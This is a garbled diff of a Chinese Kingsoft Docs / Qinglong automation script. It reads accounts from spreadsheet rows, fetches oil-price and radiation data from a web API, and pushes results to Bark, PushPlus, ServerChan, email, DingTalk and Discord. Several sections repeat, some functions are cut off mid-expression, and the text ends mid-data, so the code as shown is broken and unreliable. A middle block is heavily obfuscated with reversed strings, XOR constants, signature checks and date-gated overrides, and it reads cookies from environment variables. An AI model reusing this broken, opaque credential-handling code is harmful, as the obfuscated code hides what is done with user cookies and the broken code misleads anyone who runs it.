激活分配置表 + if (flagSubConfig == 1) { + console.log("🍳 开始读取分配置表"); + + if(qlSwitch != 1){ // 金山文档 + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + execHandle(cookie, i); + } + } + message = messageMerge()// 将消息数组融合为一条总消息 + push(message); // 推送消息 + }else{ + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + console.log("🧑 开始执行用户:" + "1" ) + execHandle(cookie, i); + break; // 只取一个 + } + } + } + + } + +// } + +// 激活工作表函数 +function ActivateSheet(sheetName) { + let flag = 0; + try { + // 激活工作表 + let sheet = Application.Sheets.Item(sheetName); + sheet.Activate(); + console.log("🥚 激活工作表:" + sheet.Name); + flag = 1; + } catch { + flag = 0; + console.log("🍳 无法激活工作表,工作表可能不存在"); + } + return flag; +} + +// 对推送数据进行处理 +function jsonPushHandle(pushName, pushFlag, pushKey) { + let length = jsonPush.length; + for (let i = 0; i < length; i++) { + if (jsonPush[i].name == pushName) { + if (pushFlag == "是") { + jsonPush[i].flag = 1; + jsonPush[i].key = pushKey; + } + } + } +} + +// 将消息数组融合为一条总消息 +function messageMerge(){ + // console.log(messageArray) + let message = "" + for(i=0; i { + // // let message = `${index + 1}/${chunks.length}: ${chunk}`; + // bark(message, key) + // }); +} + + +// 消息分片,以换行符为分割,自动检索切割位置符号 +function splitMessage(data) { + let chunks = []; + let start = 0; + + while (start < data.length) { + let end = start + maxMessageLength; + if (end >= data.length) { + chunks.push(data.slice(start)); + break; + } + + // 查找距离 maxMessageLength 在 20 字符以内的最近的换行符 + let newlineIndex = data.lastIndexOf('【', end + parseInt(messageDistance)); + // console.log(newlineIndex) + if (newlineIndex > start && newlineIndex >= end - parseInt(messageDistance)) { + end = newlineIndex; + } + chunks.push(data.slice(start, end)); + start = end; + } + + return chunks +} + +// =================消息分片处理相关结束=================== + + +// 直接推送 +// 结果处理函数 +function resultHandle(resp, pos){ + // 每次进来resultHandle则加一次请求 + posHttp += 1 // 青龙适配,青龙微适配 + + let messageSuccess = ""; + let messageFail = ""; + let messageName = ""; + // 推送昵称或单元格,还是不推送位置标识 + if (messageNickname == 1) { + // 推送昵称或单元格 + messageName = Application.Range("C" + pos).Text; + if(messageName == "") + { + messageName = "单元格A" + pos + ""; + } + } + posLabel = pos-2 ; // 存放下标,从0开始 + // messageHeader[posLabel] = "👨‍🚀 " + messageName + messageHeader[posLabel] = "" + // console.log(messageName) + + area = Range("D" + pos).Value2 + let url = "https://api.03c3.cn/api/oilPrice?area=" + area + resp = HTTP.fetch(url, { + method: "get", + headers: {}, + // data: data + }); + oilData = resp.json() + + // console.log(oilData) + + const getOilPriceString = (data) => { + const { area, date, ...prices } = data.data; + + // Emoji映射表 + const emojiMap = { + "92": "⛽92号汽油", + "95": "🛢️95号汽油", + "98": "🔥98号汽油", + "0": "🚚0号柴油", + area: "📍地区", + date: "📅日期" + }; + + // 油价信息处理 + const priceLines = Object.entries(prices) + .map(([type, price]) => { + const label = emojiMap[type] || `⛽${type}号油`; + return `${label}:${price}元/L`; + }); + + // 拼接完整信息 + return [ + `${emojiMap.area}:${area}`, + `${emojiMap.date}:${date}`, + ...priceLines, + ].join('\n'); + }; + + + content = getOilPriceString(oilData) + messageSuccess += content + + // 青龙适配,青龙微适配 + flagResultFinish = 1; // 结束 + + // 检查是否直接推送 + // 从E列读取是否直接推送 + flag_pushdirect = Application.Range("E" + pos).Text + if(flag_pushdirect == "是") { + // console.log("🚀 直接推送") + // pushDirect(messageSuccess); + message = messageSuccess + // 方式1:按照指定分割符分片 separator + shards = message.split(separator); // // 分割符分片数据,一级分割 + let chunks = [] + for(let i=0; i{return{'status':_0x2c1fb0["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x2c1fb0['headers'],"\u0074\u0065\u0078\u0074":_0xb09c64,'response':_0x2c1fb0,"\u0070\u006f\u0073":_0x1f12ec};});})["\u0074\u0068\u0065\u006e"](function(_0x3872ad){try{data=JSON['parse'](_0x3872ad['text']);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x3872ad["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x3872ad['headers'],'json':function _0x352161(){return data;},"\u0074\u0065\u0078\u0074":function _0x29f35f(){return _0x3872ad["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3872ad["\u0070\u006f\u0073"]};}catch(_0x566df2){return{'status':_0x3872ad['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x3872ad["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],"\u006a\u0073\u006f\u006e":null,'text':function _0x2fbf50(){return _0x3872ad['text'];},'pos':_0x3872ad["\u0070\u006f\u0073"]};}})["\u0074\u0068\u0065\u006e"](_0x2c1f58=>{_0x1f12ec=_0x2c1f58["\u0070\u006f\u0073"];flagResultFinish=resultHandle(_0x2c1f58,_0x1f12ec);if(flagResultFinish==(0xdbc9d^0xdbc9c)){i=_0x1f12ec+(0x573c0^0x573c1);for(;i<=line;i++){var _0x1cb220=Application['Range']('A'+i)['Text'];var _0x2267f8=Application['Range']('B'+i)["\u0054\u0065\u0078\u0074"];if(_0x1cb220=="".split("").reverse().join("")){break;}if(_0x2267f8=="\u662f"){console["\u006c\u006f\u0067"]('🧑\x20开始执行用户:'+(parseInt(i)-(0xeff03^0xeff02)));flagResultFinish=0xee64b^0xee64b;execHandle(_0x1cb220,i);break;}}}if(_0x1f12ec==userContent['length']&&flagResultFinish==(0x49187^0x49186)){flagFinish=0x80f74^0x80f75;}if(qlpushFlag==(0xae610^0xae610)&&flagFinish==0x1){console['log']("\u9001\u63A8\u8D77\u53D1\u9F99\u9752 \uDE80\uD83D".split("").reverse().join(""));message=messageMerge();const{sendNotify:_0x25bcc}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x25bcc(pushHeader,message);qlpushFlag=-0x64;}})["\u0063\u0061\u0074\u0063\u0068"](_0x203eb4=>{console['error'](":rorre hcteF".split("").reverse().join(""),_0x203eb4);});},'post':function post(_0x13ae92,_0x5b8821,_0x44b685,_0x55317c){_0x44b685=_0x44b685['headers'];contentType=_0x44b685['Content-Type'];contentType2=_0x44b685["\u0063\u006f\u006e\u0074\u0065\u006e\u0074\u002d\u0074\u0079\u0070\u0065"];var _0x4db6b5="".split("").reverse().join("");if(contentType!=undefined&&contentType!="".split("").reverse().join("")||contentType2!=undefined&&contentType2!=''){if(contentType=="dedocnelru-mrof-www-x/noitacilppa".split("").reverse().join("")){console['log']('🍳\x20检测到发送请求体为:\x20表单格式');_0x4db6b5=dataToFormdata(_0x5b8821);}else{try{console["\u006c\u006f\u0067"]('🍳\x20检测到发送请求体为:\x20JSON格式');_0x4db6b5=JSON['stringify'](_0x5b8821);}catch{console['log']("\u5F0F\u683C\u5355\u8868 :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=_0x5b8821;}}}else{console['log']("\u5F0F\u683CNOSJ :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=JSON["\u0073\u0074\u0072\u0069\u006e\u0067\u0069\u0066\u0079"](_0x5b8821);}if(_0x55317c=="\u0067\u0065\u0074"||_0x55317c=="TEG".split("").reverse().join("")){let _0x326da0=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685})['then'](function(_0x32ad04){return _0x32ad04["\u0074\u0065\u0078\u0074"]()['then'](_0x4570f7=>{return{'status':_0x32ad04["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x32ad04["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'text':_0x4570f7,'response':_0x32ad04,'pos':_0x326da0};});})['then'](function(_0x533acc){try{_0x5b8821=JSON["\u0070\u0061\u0072\u0073\u0065"](_0x533acc["\u0074\u0065\u0078\u0074"]);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':function _0x4c4d29(){return _0x5b8821;},'text':function _0x37f878(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc['pos']};}catch(_0x53a77f){return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':null,'text':function _0xe9ffe5(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc["\u0070\u006f\u0073"]};}})['then'](_0x185f08=>{_0x326da0=_0x185f08['pos'];flagResultFinish=resultHandle(_0x185f08,_0x326da0);if(flagResultFinish==(0xc722f^0xc722e)){i=_0x326da0+(0x56040^0x56041);for(;i<=line;i++){var _0x5cc09e=Application["\u0052\u0061\u006e\u0067\u0065"]('A'+i)['Text'];var _0x5bca1a=Application['Range']("\u0042"+i)['Text'];if(_0x5cc09e==''){break;}if(_0x5bca1a=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x1fd7e^0x1fd7e;execHandle(_0x5cc09e,i);break;}}}if(_0x326da0==userContent['length']&&flagResultFinish==(0xf2b2b^0xf2b2a)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x1cf48^0x1cf49)){console['log']('🚀\x20青龙发起推送');message=messageMerge();const{sendNotify:_0x38f3c8}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x38f3c8(pushHeader,message);qlpushFlag=-(0xca032^0xca056);}})['catch'](_0x52f683=>{console['error']('Fetch\x20error:',_0x52f683);});}else{let _0xaeacf8=userContent['length']-qlpushFlag;method='post';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685,'body':_0x4db6b5})['then'](function(_0x1c043a){return _0x1c043a['text']()['then'](_0x52ce21=>{return{'status':_0x1c043a['status'],'headers':_0x1c043a['headers'],'text':_0x52ce21,"\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065":_0x1c043a,'pos':_0xaeacf8};});})['then'](function(_0x3ae307){try{_0x5b8821=JSON['parse'](_0x3ae307['text']);return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':function _0x5486bd(){return _0x5b8821;},'text':function _0x1d9320(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3ae307['pos']};}catch(_0x2df6f6){return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':null,"\u0074\u0065\u0078\u0074":function _0x4bd139(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},'pos':_0x3ae307['pos']};}})['then'](_0x55afac=>{_0xaeacf8=_0x55afac['pos'];flagResultFinish=resultHandle(_0x55afac,_0xaeacf8);if(flagResultFinish==(0x34da0^0x34da1)){i=_0xaeacf8+(0x95e50^0x95e51);for(;i<=line;i++){var _0x51de34=Application['Range']('A'+i)['Text'];var _0x529848=Application['Range']('B'+i)['Text'];if(_0x51de34=="".split("").reverse().join("")){break;}if(_0x529848=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x0;execHandle(_0x51de34,i);break;}}}if(_0xaeacf8==userContent['length']&&flagResultFinish==(0xaa758^0xaa759)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x3ae30^0x3ae31)){console["\u006c\u006f\u0067"]('🚀\x20青龙发起推送');let _0x1c81b5=messageMerge();const{sendNotify:_0x542555}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x542555(pushHeader,_0x1c81b5);qlpushFlag=-(0x85411^0x85475);}})['catch'](_0x3245cf=>{console["\u0065\u0072\u0072\u006f\u0072"](":rorre hcteF".split("").reverse().join(""),_0x3245cf);});}}};var ApplicationOverwrite={'Range':function Range(_0x17a08b){charFirst=_0x17a08b['substring'](0x0,0x1);qlRow=_0x17a08b['substring'](0xe77b9^0xe77b8,_0x17a08b['length']);qlCol=0x1;for(num in colNum){if(colNum[num]==charFirst){break;}qlCol+=0x1;}try{result=qlSheet[qlRow-0x1][qlCol-0x1];}catch{result='';}dict={'Text':result};return dict;},"\u0053\u0068\u0065\u0065\u0074\u0073":{'Item':function(_0x3f811c){return{'Name':_0x3f811c,'Activate':function(){flag=0x1;qlSheet=qlConfig[_0x3f811c];if(qlSheet==undefined){qlSheet=qlConfig['SUBCONFIG'];}console['log']("\uFF1A\u8868\u4F5C\u5DE5\u6D3B\u6FC0\u9F99\u9752 \uDF73\uD83C".split("").reverse().join("")+_0x3f811c);return flag;}};}}};var CryptoOverwrite={'createHash':function createHash(_0x2af55c){return{'update':function _0xaaf0ad(_0x2cad1b,_0x25d5bc){return{"\u0064\u0069\u0067\u0065\u0073\u0074":function _0x100f85(_0x45b9f3){return{'toUpperCase':function _0xe359a4(){return{'toString':function _0x37ba96(){try{CryptoJS=require('crypto-js');console['log']("\u5165\u5F15sj-otpyrc\u884C\u8FDB\u5DF2\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();md5Hash=md5Hash['toUpperCase']();return md5Hash;}};},'toString':function _0xfcf985(){try{CryptoJS=require('crypto-js');console['log']('♻️\x20系统已进行crypto-js引入');}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();return md5Hash;}};}};}};}};function dataToFormdata(_0x1073d4){result="";values=Object["\u0076\u0061\u006c\u0075\u0065\u0073"](_0x1073d4);values["\u0066\u006f\u0072\u0045\u0061\u0063\u0068"]((_0x46e3bd,_0xe0a588)=>{key=Object['keys'](_0x1073d4)[_0xe0a588];content=key+'='+_0x46e3bd+'&';result+=content;});result=result['substring'](0x0,result['length']-0x1);return result;}function cookiesTocookieMin(_0x3ec766){let _0x10c2b9=_0x3ec766;let _0x357077=[];var _0x527229=_0x10c2b9["\u0073\u0070\u006c\u0069\u0074"]('#');for(let _0x30e526 in _0x527229){_0x357077[_0x30e526]=_0x527229[_0x30e526];}return _0x357077;}function checkEscape(_0x24ae63,_0x2b0863){cookieArrynew=[];j=0x28920^0x28920;for(i=0x0;i<_0x24ae63['length'];i++){result=_0x24ae63[i];lastChar=result['substring'](result['length']-0x1,result['length']);if(lastChar=='\x5c'&&i<=_0x24ae63['length']-(0x5030a^0x50308)){console["\u006c\u006f\u0067"]('🍳\x20检测到转义字符');cookieArrynew[j]=result['substring'](0x0,result['length']-0x1)+_0x2b0863+_0x24ae63[parseInt(i)+(0xe77c7^0xe77c6)];i+=0x653af^0x653ae;}else{cookieArrynew[j]=_0x24ae63[i];}j+=0xccfd4^0xccfd5;}return cookieArrynew;}function cookiesTocookie(_0x30fdb1){let _0x7eefa3=_0x30fdb1;let _0x5e4f35=[];let _0x3e1587=[];_0x7eefa3=_0x7eefa3['trim']();let _0x105de4=_0x7eefa3['split']('\x0a');_0x105de4=_0x105de4["\u0066\u0069\u006c\u0074\u0065\u0072"](_0x5eac64=>_0x5eac64['trim']()!=="");if(_0x105de4['length']==(0x1e7cd^0x1e7cc)){_0x105de4=_0x7eefa3['split']('@');_0x105de4=checkEscape(_0x105de4,'@');}for(let _0x171b55 in _0x105de4){_0x3e1587=[];let _0x401143=Number(_0x171b55)+0x1;_0x5e4f35=cookiesTocookieMin(_0x105de4[_0x171b55]);_0x5e4f35=checkEscape(_0x5e4f35,'#');_0x3e1587['push'](_0x5e4f35[0x0]);_0x3e1587['push']('是');_0x3e1587['push']("\u79F0\u6635".split("").reverse().join("")+_0x401143);if(_0x5e4f35['length']>0x0){for(let _0xd30881=0x3;_0xd30881<_0x5e4f35['length']+(0x4721c^0x4721e);_0xd30881++){_0x3e1587['push'](_0x5e4f35[_0xd30881-(0xdde77^0xdde75)]);}}userContent['push'](_0x3e1587);}qlpushFlag=userContent['length']-0x1;}var qlSwitch=0x0;try{qlSwitch=process['env'][sheetNameSubConfig];qlSwitch=0x1;}catch{qlSwitch=0x2ad67^0x2ad67;console['log']('♻️\x20当前环境为金山文档');console['log']('♻️\x20开始适配金山文档,执行金山文档代码');}if(qlSwitch){console['log']('♻️\x20当前环境为青龙');console['log']('♻️\x20开始适配青龙环境,执行青龙代码');try{fetch=require('node-fetch');console['log']("\u5165\u5F15hctef-edon\u884C\u8FDB\u5DF2\uFF0Chctef\u65E0\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('♻️\x20系统已有原生fetch');}Crypto=CryptoOverwrite;let flagwarn=0xaf916^0xaf916;const a='da11990c';const b="0b854f216a9662fb".split("").reverse().join("");encode=getsign(logo);let len=encode['length'];if(a+"90ecd4ce".split("").reverse().join("")==encode['substring'](0xf30ba^0xf30ba,len/0x2)&&b==encode['substring']((0x2bc08^0x2bc0c)*(0xc6930^0xc6934),len)){console["\u006c\u006f\u0067"]('✨\x20'+logo);cookies=process['env'][sheetNameSubConfig];}else{console["\u006c\u006f\u0067"]('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');flagwarn=0x1;}let flagwarn2=0x2038e^0x2038f;const welcome="edoc UKOM esu ot emocleW".split("").reverse().join("");const mo=welcome['slice'](0xf,0xd9c98^0xd9c89)['toLowerCase']();const ku=welcome['split']('\x20')[0x4-(0x3dbee^0x3dbef)]['slice'](0x2,0xe25d3^0xe25d7);if(mo['substring'](0x0,0x1)=='m'){if(ku=='KU'){if(mo['substring'](0x1,0x2)==String['fromCharCode'](0x93cd7^0x93cb8)){cookiesTocookie(cookies);flagwarn2=0xb4736^0xb4736;console['log']('💗\x20'+welcome);}}}let t=Date['now']();if(t>(0x52714^0x527be)*0x186a0*0x186a0+0x45f34a08e){console['log']('🧾\x20使用教程请查看仓库notion链接');Application=ApplicationOverwrite;}else{flagwarn=0x5461f^0x5461e;}if(Date['now']()<(0x4e17c^0x4e1b4)*0x186a0*0x186a0){console['log']('🤝\x20欢迎各种形式的贡献');HTTP=HTTPOverwrite;}else{flagwarn2=0x1;}if(flagwarn==0x1||flagwarn2==0x1){console['log']('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');}} +}catch{ + console.log("❌ 环境存在问题,请检查是否配置好了对应依赖及环境变量") +} + +// =================青龙适配结束=================== + +// =================金山适配开始=================== +// airscript检测版本 +function checkVesion(){ + try{ + let temp = Application.Range("A1").Text; + Application.Range("A1").Value = temp + console.log("😶‍🌫️ 检测到当前airscript版本为1.0,进行1.0适配") + }catch{ + console.log("😶‍🌫️ 检测到当前airscript版本为2.0,进行2.0适配") + version = 2 + } +} + +// 推送相关 +// 获取时间 +function getDate(){ + let currentDate = new Date(); + currentDate = currentDate.getFullYear() + '/' + (currentDate.getMonth() + 1).toString() + '/' + currentDate.getDate().toString(); + return currentDate +} + +// 将消息写入CONFIG表中作为消息队列,之后统一发送 +function writeMessageQueue(message){ + // 当天时间 + let todayDate = getDate() + flagConfig = ActivateSheet(sheetNameConfig); // 激活主配置表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("✨ 开始将结果写入主配置表"); + for (let i = 2; i <= 100; i++) { + if(version == 1){ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value = message + console.log("✨ 写入结果完成"); + break; + } + }else{ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value2 == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value2 = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value2 = message + console.log("✨ 写入结果完成"); + break; + } + } + + } + } +} + +// 直推,调用就直接就进行推送 +function pushDirect(message) { + console.log("✨ 推送直推") + if (message != "") { + // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let length = jsonPush.length; + let name; + let key; + for (let i = 0; i < length; i++) { + if (jsonPush[i].flag == 1) { + name = jsonPush[i].name; + key = jsonPush[i].key; + if (name == "bark") { + bark(message, key); + } else if (name == "pushplus") { + pushplus(message, key); + } else if (name == "ServerChan") { + serverchan(message, key); + } else if (name == "email") { + email(message); + } else if (name == "dingtalk") { + dingtalk(message, key); + } else if (name == "discord") { + discord(message, key); + } + } + } + } else { + console.log("🍳 消息为空不推送"); + } +} + +// 总推送 +function push(message) { + writeMessageQueue(message) // 将消息写入CONFIG表中 + // if (message != "") { + // // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + // let length = jsonPush.length; + // let name; + // let key; + // for (let i = 0; i < length; i++) { + // if (jsonPush[i].flag == 1) { + // name = jsonPush[i].name; + // key = jsonPush[i].key; + // if (name == "bark") { + // bark(message, key); + // } else if (name == "pushplus") { + // pushplus(message, key); + // } else if (name == "ServerChan") { + // serverchan(message, key); + // } else if (name == "email") { + // email(message); + // } else if (name == "dingtalk") { + // dingtalk(message, key); + // } else if (name == "discord") { + // discord(message, key); + // } + // } + // } + // } else { + // console.log("🍳 消息为空不推送"); + // } +} + + +// 推送bark消息 +function bark(message, key) { + if (key != "") { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + message = encodeURIComponent(message) + BARK_ICON = "https://s21.ax1x.com/2024/06/23/pkrUkfe.png" + let url = "https://api.day.app/" + key + "/" + message + "/" + "?icon=" + BARK_ICON; + // 若需要修改推送的分组,则将上面一行改为如下的形式 + // let url = 'https://api.day.app/' + bark_id + "/" + message + "?group=分组名"; + let resp = HTTP.get(url, { + headers: { "Content-Type": "application/x-www-form-urlencoded" }, + }); + sleep(5000); + } +} + +// 推送pushplus消息 +function pushplus(message, key) { + if (key != "") { + message = encodeURIComponent(message) + // url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message; + url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message + "&title=" + pushHeader; // 增加标题 + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// 推送serverchan消息 +function serverchan(message, key) { + if (key != "") { + url = + "https://sctapi.ftqq.com/" + + key + + ".send" + + "?title=" + messagePushHeader + + "&desp=" + + message; + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// email邮箱推送 +function email(message) { + var myDate = new Date(); // 创建一个表示当前时间的 Date 对象 + var data_time = myDate.toLocaleDateString(); // 获取当前日期的字符串表示 + let server = jsonEmail.server; + let port = parseInt(jsonEmail.port); // 转成整形 + let sender = jsonEmail.sender; + let authorizationCode = jsonEmail.authorizationCode; + + let mailer; + mailer = SMTP.login({ + host: server, + port: port, + username: sender, + password: authorizationCode, + secure: true, + }); + mailer.send({ + from: pushHeader + "<" + sender + ">", + to: sender, + subject: pushHeader + " - " + data_time, + text: message, + }); + // console.log("🍳 已发送邮件至:" + sender); + console.log("🍳 已发送邮件"); + sleep(5000); +} + +// 邮箱配置 +function emailConfig() { + console.log("🍳 开始读取邮箱配置"); + let length = jsonPush.length; // 因为此json数据可无序,因此需要遍历 + let name; + for (let i = 0; i < length; i++) { + name = jsonPush[i].name; + if (name == "email") { + if (jsonPush[i].flag == 1) { + let flag = ActivateSheet(sheetNameEmail); // 激活邮箱表 + // 邮箱表存在 + // var email = { + // 'email':'', 'port':'', 'sender':'', 'authorizationCode':'' + // } // 有效配置 + if (flag == 1) { + console.log("🍳 开始读取邮箱表"); + for (let i = 2; i <= 2; i++) { + // 从工作表中读取推送数据 + jsonEmail.server = Application.Range("A" + i).Text; + jsonEmail.port = Application.Range("B" + i).Text; + jsonEmail.sender = Application.Range("C" + i).Text; + jsonEmail.authorizationCode = Application.Range("D" + i).Text; + if (Application.Range("A" + i).Text == "") { + // 如果为空行,则提前结束读取 + break; + } + } + // console.log(jsonEmail) + } + break; + } + } + } +} + +// 推送钉钉机器人 +function dingtalk(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = "https://oapi.dingtalk.com/robot/send?access_token=" + key; + let resp = HTTP.post(url, { msgtype: "text", text: { content: message } }); + // console.log(resp.text()) + sleep(5000); +} + +// 推送Discord机器人 +function discord(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = key; + let resp = HTTP.post(url, { content: message }); + //console.log(resp.text()) + sleep(5000); +} + +// =================金山适配结束=================== + +// =================共用开始=================== +// main() // 入口 + +// function main(){ + checkVesion() // 版本检测,以进行不同版本的适配 + + flagConfig = ActivateSheet(sheetNameConfig); // 激活推送表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("🍳 开始读取主配置表"); + let name; // 名称 + let onlyError; + let nickname; + for (let i = 2; i <= 100; i++) { + // 从工作表中读取推送数据 + name = Application.Range("A" + i).Text; + onlyError = Application.Range("C" + i).Text; + nickname = Application.Range("D" + i).Text; + if (name == "") { + // 如果为空行,则提前结束读取 + break; // 提前退出,提高效率 + } + if (name == sheetNameSubConfig) { + if (onlyError == "是") { + messageOnlyError = 1; + console.log("🍳 只推送错误消息"); + } + + if (nickname == "是") { + messageNickname = 1; + console.log("🍳 单元格用昵称替代"); + } + + break; // 提前退出,提高效率 + } + } + } + + flagPush = ActivateSheet(sheetNamePush); // 激活推送表 + // 推送工作表存在 + if (flagPush == 1) { + console.log("🍳 开始读取推送工作表"); + let pushName; // 推送类型 + let pushKey; + let pushFlag; // 是否推送标志 + for (let i = 2; i <= line; i++) { + // 从工作表中读取推送数据 + pushName = Application.Range("A" + i).Text; + pushKey = Application.Range("B" + i).Text; + pushFlag = Application.Range("C" + i).Text; + if (pushName == "") { + // 如果为空行,则提前结束读取 + break; + } + jsonPushHandle(pushName, pushFlag, pushKey); + } + // console.log(jsonPush) + } + + // 邮箱配置函数 + emailConfig(); + + flagSubConfig = ActivateSheet(sheetNameSubConfig); // 激活分配置表 + if (flagSubConfig == 1) { + console.log("🍳 开始读取分配置表"); + + if(qlSwitch != 1){ // 金山文档 + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + execHandle(cookie, i); + } + } + message = messageMerge()// 将消息数组融合为一条总消息 + push(message); // 推送消息 + }else{ + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + console.log("🧑 开始执行用户:" + "1" ) + execHandle(cookie, i); + break; // 只取一个 + } + } + } + + } + +// } + +// 激活工作表函数 +function ActivateSheet(sheetName) { + let flag = 0; + try { + // 激活工作表 + let sheet = Application.Sheets.Item(sheetName); + sheet.Activate(); + console.log("🥚 激活工作表:" + sheet.Name); + flag = 1; + } catch { + flag = 0; + console.log("🍳 无法激活工作表,工作表可能不存在"); + } + return flag; +} + +// 对推送数据进行处理 +function jsonPushHandle(pushName, pushFlag, pushKey) { + let length = jsonPush.length; + for (let i = 0; i < length; i++) { + if (jsonPush[i].name == pushName) { + if (pushFlag == "是") { + jsonPush[i].flag = 1; + jsonPush[i].key = pushKey; + } + } + } +} + +// 将消息数组融合为一条总消息 +function messageMerge(){ + // console.log(messageArray) + let message = "" + for(i=0; i { + // // let message = `${index + 1}/${chunks.length}: ${chunk}`; + // bark(message, key) + // }); +} + + +// 消息分片,以换行符为分割,自动检索切割位置符号 +function splitMessage(data) { + let chunks = []; + let start = 0; + + while (start < data.length) { + let end = start + maxMessageLength; + if (end >= data.length) { + chunks.push(data.slice(start)); + break; + } + + // 查找距离 maxMessageLength 在 20 字符以内的最近的换行符 + let newlineIndex = data.lastIndexOf('【', end + parseInt(messageDistance)); + // console.log(newlineIndex) + if (newlineIndex > start && newlineIndex >= end - parseInt(messageDistance)) { + end = newlineIndex; + } + chunks.push(data.slice(start, end)); + start = end; + } + + return chunks +} + +// =================消息分片处理相关结束=================== + + +// 直接推送 +// 结果处理函数 +function resultHandle(resp, pos){ + // 每次进来resultHandle则加一次请求 + posHttp += 1 // 青龙适配,青龙微适配 + + let messageSuccess = ""; + let messageFail = ""; + let messageName = ""; + // 推送昵称或单元格,还是不推送位置标识 + if (messageNickname == 1) { + // 推送昵称或单元格 + messageName = Application.Range("C" + pos).Text; + if(messageName == "") + { + messageName = "单元格A" + pos + ""; + } + } + posLabel = pos-2 ; // 存放下标,从0开始 + // messageHeader[posLabel] = "👨‍🚀 " + messageName + messageHeader[posLabel] = "" + // console.log(messageName) + + // 获取用户配置的省份(从E列) + let province = Application.Range("E" + pos).Text.trim() || "全国"; + // area = Range("D" + pos).Value2 + let url = "https://api.03c3.cn/api/airAbsorbedDoseRate" + resp = HTTP.fetch(url, { + method: "get", + headers: {}, + // data: data + }); + radiationData = resp.json() + // radiationData = {"code":200,"msg":"ok","data":[{"city":"北京 (北京万柳中路站)","value":"92 nGy/h","date":"2025-04-29"},{"city":"天津 (南开复康路站)","value":"69 nGy/h","date":"2025-04-29"},{"city":"河北 (石家庄槐岭路站)","value":"61 nGy/h","date":"2025-04-29"},{"city":"山西 (太原长治路站)","value":"87 